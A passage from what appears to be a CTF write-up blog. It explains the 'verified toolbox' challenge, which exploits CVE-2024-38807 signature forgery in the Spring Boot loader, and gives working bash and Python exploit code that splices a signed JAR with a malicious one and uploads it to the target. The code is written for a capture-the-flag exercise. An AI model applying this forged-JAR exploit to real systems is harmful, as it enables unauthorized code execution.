<span><span style="color: #C792EA">          </span><span style="color: #7FDBCA">bases</span><span style="color: #C792EA">.</span><span style="color: #FAF39F">value</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">base</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; {</span></span>
<span><span style="color: #C792EA">            return </span><span style="color: #7FDBCA">base</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">c</span><span style="color: #C792EA">, </span><span style="color: #D7DBE0">i</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; </span><span style="color: #7FDBCA">String</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">fromCharCode</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA"> ^ </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">]))</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          }</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">        </span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">isAsciiPrintable</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">c</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&gt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">32</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&amp;&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">126</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">changeKey</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">oldChar</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">newChar</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">prompt</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">Change &#39;</span><span style="color: #D3423E">${</span><span style="color: #D7DBE0">oldChar</span><span style="color: #D3423E">}</span><span style="color: #ECC48D">&#39; to:</span><span style="color: #D6DEEB">`</span><span style="color: #5F7E97">,</span><span style="color: #C792EA"> </span><span style="color: #D7DBE0">oldChar</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">?.</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">];</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">!</span><span style="color: #D7DBE0">newChar</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">plaintexts</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">][</span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">]</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">^</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">newChar</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">input</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">plaintexts</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">isAsciiPrintable</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">changeKey</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">      },</span></span>
<span><span style="color: #D6DEEB">    })</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">mount</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">#app</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">body</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">html</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<h2 id="verified-toolbox-1-solve" class="heading"><a href="#verified-toolbox-1-solve" class="heading-anchor" aria-label="章节： verified toolbox (1 solve)" tabindex="-1"></a><span>verified toolbox (1 solve)</span></h2>
<p>It uses Spring Boot 3.3.2, so it<span class="mojikumi-narrow-left">’</span>s <a href="https://spring.io/security/cve-2024-38807">CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot<span class="mojikumi-narrow-left">’</span>s Loader</a><sup><a href="#user-content-fn-finder" id="user-content-fnref-finder" data-footnote-ref aria-describedby="footnote-label">4</a></sup>.</p>
<p>The vulnerability is that spring-boot-loader uses <code>JarInputStream</code> to verify the signatures but uses a custom <code>ZipContent</code> class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. <code>JarInputStream</code> reads a JAR file from start to end, while <code>ZipContent</code> read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.</p>
<p>You can also find <a href="https://github.com/spring-projects/spring-boot/commit/0b24ee857189e139f48826bf2aef10ae8680c11b">the commit that fixes this vulnerability</a> along with the <code>mismatched<wbr>.<wbr>jar</code> test case, and then create the malicious JAR file based on <code>mismatched<wbr>.<wbr>jar</code>.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell 代码块" data-v-c675dba6>Shell</h3><ile-root id="ile-52"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-52--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #989FB1">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #4876D6">set</span><span style="color: #403F53"> </span><span style="color: #4876D6">-euo</span><span style="color: #403F53"> </span><span style="color: #4876D6">pipefail</span></span>
<span></span>
<span><span style="color: #4876D6">url</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #403F53">$1</span><span style="color: #111111">&quot;</span></span>
<span></span>
<span><span style="color: #4876D6">javac</span><span style="color: #403F53"> </span><span style="color: #4876D6">Tool.java</span></span>
<span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">cf</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">Tool.class</span></span>
<span></span>
<span><span style="color: #4876D6">rm</span><span style="color: #403F53"> </span><span style="color: #4876D6">-f</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span></span>
<span></span>
<span><span style="color: #4876D6">keytool</span><span style="color: #403F53"> </span><span style="color: #4876D6">-genkeypair</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-alias</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-dname</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keyalg</span><span style="color: #403F53"> </span><span style="color: #4876D6">DSA</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keysize</span><span style="color: #403F53"> </span><span style="color: #AA0982">2048</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-validity</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keystore</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-storepass</span><span style="color: #403F53"> </span><span style="color: #AA0982">133337</span></span>
<span></span>
<span><span style="color: #4876D6">jarsigner</span><span style="color: #403F53"> </span><span style="color: #4876D6">-keystore</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span><span style="color: #403F53"> </span><span style="color: #4876D6">-storepass</span><span style="color: #403F53"> </span><span style="color: #AA0982">133337</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span></span>
<span></span>
<span><span style="color: #4876D6">curl</span><span style="color: #403F53"> </span><span style="color: #4876D6">-O</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #4876D6">$url</span><span style="color: #C96765">/toolbox/greeting.jar</span><span style="color: #111111">&quot;</span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">xf</span><span style="color: #403F53"> </span><span style="color: #4876D6">greeting.jar</span></span>
<span></span>
<span><span style="color: #4876D6">python</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.py</span></span>
<span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">cf0</span><span style="color: #403F53"> </span><span style="color: #4876D6">nested.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">inner.jar</span></span>
<span></span>
<span><span style="color: #4876D6">curl</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">file=@nested.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">path=inner.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">input=</span><span style="color: #111111">&#39;</span><span style="color: #C96765">/readflag give me the flag</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #4876D6">$url</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">/run</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #C5E478">set</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-euo</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">pipefail</span></span>
<span></span>
<span><span style="color: #C5E478">url</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D7DBE0">$1</span><span style="color: #D9F5DD">&quot;</span></span>
<span></span>
<span><span style="color: #82AAFF">javac</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">Tool.java</span></span>
<span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">cf</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">Tool.class</span></span>
<span></span>
<span><span style="color: #82AAFF">rm</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-f</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span></span>
<span></span>
<span><span style="color: #82AAFF">keytool</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-genkeypair</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-alias</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-dname</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keyalg</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">DSA</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keysize</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">2048</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-validity</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keystore</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-storepass</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">133337</span></span>
<span></span>
<span><span style="color: #82AAFF">jarsigner</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-keystore</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-storepass</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">133337</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span></span>
<span></span>
<span><span style="color: #82AAFF">curl</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-O</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C5E478">$url</span><span style="color: #ECC48D">/toolbox/greeting.jar</span><span style="color: #D9F5DD">&quot;</span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">xf</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">greeting.jar</span></span>
<span></span>
<span><span style="color: #82AAFF">python</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.py</span></span>
<span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">cf0</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">nested.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">inner.jar</span></span>
<span></span>
<span><span style="color: #82AAFF">curl</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">file=@nested.jar</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">path=inner.jar</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-F</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">input=</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">/readflag give me the flag</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C5E478">$url</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">/run</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h3><ile-root id="ile-53"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-53--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">hello.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    signed </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">exp.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    exp </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #403F53">shift </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">signed</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">exp_list </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">list</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">eocd_start </span><span style="color: #994CC3">=</span><span style="color: #403F53"> exp.</span><span style="color: #0C969B">rfind</span><span style="color: #403F53">(</span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">PK</span><span style="color: #AA0982">\x05\x06</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">cd_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">.</span><span style="color: #0C969B">from_bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">[</span><span style="color: #4876D6">eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">16</span><span style="color: #4876D6">:eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">20</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">new_cd_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (cd_offset </span><span style="color: #994CC3">+</span><span style="color: #403F53"> shift).</span><span style="color: #0C969B">to_bytes</span><span style="color: #403F53">(</span><span style="color: #AA0982">4</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">exp_list[eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">16</span><span style="color: #403F53">:eocd_start</span><span style="color: #994CC3">+</span><span style="color: #AA0982">20</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> new_cd_offset</span></span>
<span></span>
<span><span style="color: #403F53">cd_start </span><span style="color: #994CC3">=</span><span style="color: #403F53"> cd_offset</span></span>
<span><span style="color: #403F53">pos </span><span style="color: #994CC3">=</span><span style="color: #403F53"> cd_start</span></span>
<span><span style="color: #994CC3">while</span><span style="color: #403F53"> pos </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> eocd_start:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> exp[pos:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">4</span><span style="color: #403F53">] </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #994CC3">b</span><span style="color: #111111">&#39;</span><span style="color: #C96765">PK</span><span style="color: #AA0982">\x01\x02</span><span style="color: #111111">&#39;</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        lfh_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">.</span><span style="color: #0C969B">from_bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp</span><span style="color: #403F53">[</span><span style="color: #4876D6">pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">42</span><span style="color: #4876D6">:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">46</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        new_lfh_offset </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (lfh_offset </span><span style="color: #994CC3">+</span><span style="color: #403F53"> shift).</span><span style="color: #0C969B">to_bytes</span><span style="color: #403F53">(</span><span style="color: #AA0982">4</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">little</span><span style="color: #111111">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        exp_list[pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">42</span><span style="color: #403F53">:pos</span><span style="color: #994CC3">+</span><span style="color: #AA0982">46</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> new_lfh_offset</span></span>
<span><span style="color: #403F53">        pos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">46</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">else</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        pos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span></span>
<span><span style="color: #403F53">modified_exp </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">exp_list</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">inner.jar</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">wb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    f.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">signed</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    f.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">modified_exp</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">hello.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    signed </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #C792EA">with</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">open</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">exp.jar</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">rb</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">as</span><span style="color: #D6DEEB"> f:</span></span>
<span><span style="color: #D6DEEB">    exp </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">read</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #D6DEEB">shift </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">signed</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">exp_list </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">list</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">exp</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">eocd_start </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> exp.</span><span style="color: #B2CCD6">rfind</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">b</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">PK</span><span style="color: #F78C6C">\x05\x06</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
